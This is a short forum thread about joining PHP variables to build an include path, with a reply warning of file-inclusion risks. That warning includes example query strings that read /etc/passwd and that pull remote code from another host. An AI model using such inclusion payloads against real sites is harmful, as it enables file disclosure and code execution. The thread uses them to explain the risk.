joining variables

[Dizzee]

I would like to join two variables together, unless I can solve the following without..
My mission is to create an

Include($file);

Where $file is
first part
$Var1 = "destination/dir/";
and
$var2 = "requiredfile.php";

Therefore joing them together $file will become

destination/dir/file.php

So how to make
$file = $var1 + $var2 ??
Any Ideas

[Dizzee]

just in case anyone wants to know

$file = $var1 . $var2

easy

[weevil]

Include($file);

Keep in mind that including a file that is passed in as a variable is a security risk. The user can pass in $file in the URL.

www.something.com/index.php?file=/etc/passwd
or worse yet run their own code by passing file=http:///www.somethingelse.com?bad.php

[stolzyboy]

even if $file is passed as bad.php thru the querystring, which could be solved by turning register_globals = Off

as long as he is setting $file = something else before he includes, they can put whatever they want in the querystring and it will just get overwritten by what he sets it to